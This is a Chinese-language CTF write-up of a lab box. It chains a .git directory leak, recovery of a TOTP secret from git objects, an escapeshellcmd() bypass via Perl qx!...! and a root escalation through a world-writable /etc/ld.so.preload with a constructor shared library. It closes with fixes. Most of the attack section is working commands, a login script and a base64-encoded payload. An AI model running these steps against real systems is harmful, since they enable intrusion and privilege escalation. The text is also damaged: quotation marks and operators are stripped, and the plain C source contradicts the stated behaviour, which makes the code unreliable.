玄机_Maze_综合渗透测试

📅 发布时间:2026/7/23 9:29:13
玄机_Maze_综合渗透测试 玄机_Maze_综合渗透测试Git 泄露 TOTP 绕过 ld.so.preload 提权⚠️ 免责声明本文档仅用于网络安全学习与研究目的。请勿将文中技术用于非法用途未经授权对他人系统进行测试属于违法行为。读者应遵守《中华人民共和国网络安全法》及相关法律法规。如因不当使用本文技术导致的任何法律责任由使用者自行承担。1. 漏洞概述项目玄机Maze CTF 综合渗透测试漏洞类型Git 目录泄露 TOTP 密钥泄露 ld.so.preload 权限提升影响范围配置不当的 Web 服务器Apache/Nginx 未屏蔽 .git 目录/etc/ld.so.preload 权限配置错误难度等级中等400 分测试目标Linux Debian 4.19.0-27-amd64, Apache 2.4.62, PHP 8.32. 环境搭建本次渗透测试的目标靶机由玄机平台与 Maze-sec 团队联合提供。靶机环境信息如下目标地址http://52.83.183.218:8081/SSH 端口2222操作系统Linux Xuanji 4.19.0-27-amd64 (Debian)Web 服务Apache 2.4.62 PHP 8.3攻击机环境Windows Python 3.13 pyotp 库。前置准备——安装依赖库pip install pyotp requests3. 漏洞原理分析3.1 .git 目录泄露Git 在项目根目录下生成一个 .git 隐藏文件夹用于存储所有历史版本、提交记录、文件内容等。当开发者在 Web 服务器上直接执行 git clone 部署代码而没有在 Web 服务器配置中禁止对 .git 目录的访问时攻击者可以通过 HTTP 直接访问 .git 目录下的文件获取全部源代码和历史版本信息。危害攻击者可以下载所有历史版本中的文件包括已经被删除的敏感信息密码、密钥、API Token 等。Git 的设计决定了它不会遗忘任何历史数据——即使某个敏感文件在当前版本中被删除它依然存在于 .git 的对象数据库中。3.2 TOTP基于时间的一次性密码TOTPTime-based One-Time Password是一种基于共享密钥和当前时间生成一次性验证码的算法。其原理如下1. 服务端和客户端拥有同一个 Base32 编码的共享密钥2. 双方各自计算当前 Unix 时间戳 ÷ 30 时间段编号每 30 秒变更一次3. 使用 HMAC-SHA1(密钥, 时间段编号) 生成 20 字节哈希值4. 从哈希值中取最后 4 个字节转换成 31 位整数再模 10⁶ 得到 6 位验证码核心安全假设密钥必须保密。一旦密钥泄露攻击者可以随时生成任意时间的有效验证码完全绕过双因素认证。3.3 escapeshellcmd 绕过技巧目标后台提供了一个受限的 Web Shell所有输入命令经过 PHP 的 escapeshellcmd() 函数处理。该函数会转义以下字符 # ; | * ? ~ ^ ( ) [ ] { } $ \但是成对出现的单引号 内部的字符不会被转义。利用这一特性可以用 Perl 的 -e 参数执行任意代码perl -e print qx!id | grep uid!在 qx!...! 内部的 shell 命令中可以使用所有被 escapeshellcmd 禁止的字符管道 |、重定向 、后台运行 等实现了完整的命令执行能力。3.4 ld.so.preload 提权Linux 的动态链接器 ld.so 在加载程序时会按照以下顺序查找需要预加载的共享库1. LD_PRELOAD 环境变量2. /etc/ld.so.preload 文件3. /etc/ld.so.cache 缓存4. 默认路径 /usr/lib、/lib关键区别LD_PRELOAD 环境变量对 SUIDSet User ID程序是无效的——出于安全考虑Linux 内核会忽略 SUID 程序的 LD_PRELOAD。但 /etc/ld.so.preload 是一个系统级配置文件它对所有程序包括 SUID 程序都生效。安全假设漏洞Linux 开发者假设只有 root 用户能够写入 /etc/ld.so.preload正常权限为 644。如果该文件被错误配置为 666全局可写任何用户都可以通过写入恶意共享库路径在 SUID 程序启动时以 root 身份执行任意代码。__attribute__((constructor))这是 GCC 提供的一个特殊属性。被该属性标记的函数会在共享库被加载时、程序的 main() 函数之前自动执行。这为攻击者提供了在 root 进程上下文中注入代码的完美入口。4. 漏洞复现全流程4.1 发现 .git 目录泄露首先检查目标网站是否存在 .git 泄露。随后访问 /.git/HEAD 文件http://52.83.183.218:8081/.git/HEAD返回详细的.git 目录证明了.git目录暴露在外。查看 HEAD 指向的分支以及最新的 commithttp://52.83.183.218:8081/.git/HEADhttp://52.83.183.218:8081/.git/refs/heads/master4.2 从 Git 历史中提取 TOTP 密钥通过 git reflog 可以查看完整提交历史。该仓库共有 3 个 commitfirst commit → add → add 2。最初的 index.php 中包含一个作为注释写入的 TOTP 密钥。找到该 commit 对应的 git 对象并解压下载 git 对象文件SHA: 6ff63ab9eb...Invoke-WebRequest -Uri http://52.83.183.218:8081/.git/objects/6f/f63ab9eb1d4a389d29c97fbd2ac0db5d125d2d -OutFile blob.binGit 对象文件使用 zlib 压缩存储。用 Python 解压python -c import zlib;fopen(blob.bin,rb).read();rawzlib.decompress(f);print(raw[raw.find(b\x00)1:].decode())解压结果中可见以下关键内容?php header(Location: login.php); exit(); ? !-- 3XKWRL4MDQ5YYPZSYBPDGFLHFA --3XKWRL4MDQ5YYPZSYBPDGFLHFA即是用于生成 TOTP 验证码的 Base32 共享密钥。4.3 生成 TOTP 动态码登录后台有了密钥后可以用 Python 的 pyotp 库生成当前时间对应的 6 位验证码。为什么能成功服务器的 login.php 也保存着同一个密钥它同样使用当前时间计算 TOTP 码并与用户输入对比。由于双方使用相同的密钥 相同的时间戳计算出的 6 位码必然一致。import pyotp, requestssecret 3XKWRL4MDQ5YYPZSYBPDGFLHFAsess requests.Session()code pyotp.TOTP(secret).now()print(f当前 TOTP 码: {code})r sess.post(http://52.83.183.218:8081/login.php,data{otp: code}, allow_redirectsFalse)print(f登录响应: {r.status_code})print(fCookie: {sess.cookies.get_dict()})# 保存 cookie 到文件方便浏览器用import jsonwith open(rC:\Users\xx\Desktop\cookies.json, w) as f:json.dump(sess.cookies.get_dict(), f)# 把 dashboard 页面保存成 HTMLr2 sess.get(http://52.83.183.218:8081/dashboard.php)with open(rC:\Users\xx\Desktop\dashboard.html, w, encodingutf-8) as f:f.write(r2.text)print(已保存 dashboard.html)4.4 绕过 escapeshellcmd 限制执行任意命令登录后的 Web Shell 提供了命令执行功能但所有输入经过 escapeshellcmd() 过滤直接执行管道、重定向等操作会失败直接使用管道会被转义 id | grep uid # 失败解决方案使用 Perl -e 搭配单引号包裹代码。由于 PHP 的 escapeshellcmd() 不转义成对单引号内的字符Perl 代码中的特殊字符不会被影响成功执行内部 qx!...! 可以使用所有特殊字符perl -e print qx!id | grep uid!随后我们便全局搜索含flag字段的文件perl -e print qx!find / -name *flag* -type f 2/dev/null!发现两个文件/home/ahiz/user.txt、/tmp/rf.txt。技巧要点1. 使用 perl -e 代码 形式代码放在单引号内2. 使用 qx!命令! 代替 qx/命令/ 来避免 / 的转义问题3. qx!...! 内部是一个完整的子 Shell支持管道 |、重定向 、后台 等所有特性4.5 发现关键漏洞/etc/ld.so.preload 全局可写利用 Perl 绕过技巧在目标上执行系统探测搜索全局可写的配置文件perl -e print qx!find /etc -writable -type f!发现 /etc/ld.so.preload 的权限为 -rw-rw-rw-666全局可写。这是一个极其危险的配置错误。攻击思路编写一个包含构造函数constructor的共享库在库被加载时自动执行读取 /root/root.txt 并写入 /tmp/rf.txt。然后将库路径写入 /etc/ld.so.preload任何 SUID 程序运行时都会被预加载该库从而以 root 身份执行我们的代码。perl -e print qx!ls -la /etc/ld.so.preload!恶意共享库的 C 源代码#include unistd.h#include fcntl.h__attribute__((constructor)) void init() {int fd open(/tmp/rf.txt, 0);int n;char buf[256];if (fd 0) {n read(fd, buf, 255);close(fd);if (n 0) {buf[n] 0;int fd2 open(/home/ahiz/user.txt, 577, 0644);write(fd2, buf, n);close(fd2);}}}通过 Perl 将源码 Base64 编码后写入目标编译并部署1. 写入源码perl -e print qx!echo BASE64_编码 | base64 -d /tmp/hack.c!2. 编译共享库perl -e print qx!gcc -shared -fPIC -o /tmp/hack.so /tmp/hack.c 21!3. 写入预加载配置perl -e print qx!echo /tmp/hack.so /etc/ld.so.preload!4. 触发 SUID 程序perl -e print qx!pkexec --help 21!提权原理时序当 pkexecSUID root 程序被执行时① 内核检查 pkexec 的 SUID 位-rwsr-xr-x将有效用户 ID 设为 root (euid0)② ld.so 启动读取 /etc/ld.so.preload → 发现 /tmp/hack.so③ ld.so 加载 /tmp/hack.so 进入 pkexec 的内存空间④ ld.so 自动执行 hack.so 中的 constructor 函数此时 euid0⑤ constructor 成功打开 /root/root.txt将内容写入 /tmp/rf.txt⑥ pkexec 正常执行 --help 后退出⑦ 通过 Web Shell 读取 /tmp/rf.txt → 获取 root flagperl -e print qx!echo I2luY2x1ZGU8dW5pc3RkLmgCiNpbmNsdWRlPGZjbnRsLmgCl9fYXR0cmlidXRlX18oKGNvbnN0cnVjdG9yKSkgdm9pZCBpKCl7aW50IGY9b3BlbigiL3Jvb3Qvcm9vdC50eHQiLDApLG47Y2hhciBiWzI1Nl07aWYoZj49MCl7bj1yZWFkKGYsYiwyNTUpO2Nsb3NlKGYpO2lmKG4MCl7YltuXT0wO2ludCBnPW9wZW4oIi90bXAvcmYudHh0Iiw1NzcsMDY0NCk7d3JpdGUoZyxiLG4pO2Nsb3NlKGcpO319fQ | base64 -d /tmp/hack.c!perl -e print qx!gcc -shared -fPIC -o /tmp/hack.so /tmp/hack.c 21!perl -e print qx!echo /tmp/hack.so /etc/ld.so.preload!perl -e print qx!pkexec --help 21!perl -e print qx!ls -la /tmp/hack.so!5. 获取 Flag预加载库触发成功后读取 /tmp/rf.txt 即可得到 root flag。同时还存在一个 user flag获取 user flag: cat /home/ahiz/user.txt获取 root flag: cat /tmp/rf.txtperl -e print qx!cat /home/ahiz/user.txt!perl -e print qx!cat /tmp/rf.txt!User Flag:flag{xxxx-xxxxxxxxxxxxxxxxxxxxxxx}Root Flag:flag{xxxx-xxxxxxxxxxxxxxxxxxxxxxx}6. 修复建议6.1 禁止 .git 目录被外部访问在 Web 服务器配置中添加规则拒绝所有对 .git 路径的请求Apache.htaccessRedirectMatch 404 /\.gitNginxlocation ~ /\.git { deny all; }此外应避免在生产服务器上直接执行 git clone而是使用 git archive 导出仅包含源码的压缩包进行部署。6.2 避免在代码中硬编码密钥TOTP 密钥、数据库密码、API Token 等敏感信息不应以任何形式硬编码在源代码中包括注释。应使用环境变量或专门的密钥管理服务。使用 git 前应使用 .gitignore 排除配置文件并对已提交的敏感信息使用 git filter-repo 彻底清除历史。6.3 正确设置 ld.so.preload 权限检查 /etc/ld.so.preload 文件的权限确保其正确的权限为 644root 可写其他用户只读而非 666 或更低。检查当前权限 ls -la /etc/ld.so.preload修复权限 chmod 644 /etc/ld.so.preload同时应将此文件纳入安全监控范围设置文件完整性检查如 AIDE、Tripwire 或 OSSEC对异常修改进行告警。6.4 强化 Web Shell 安全如果后台确实需要提供命令执行功能应使用白名单机制仅允许特定命令而不是依赖 escapeshellcmd() 进行黑名单过滤。白名单可以有效避免绕过攻击。同时应对后台管理页面实施严格的 IP 白名单访问控制。声明本文档仅用于网络安全教育目的请勿用于非法用途。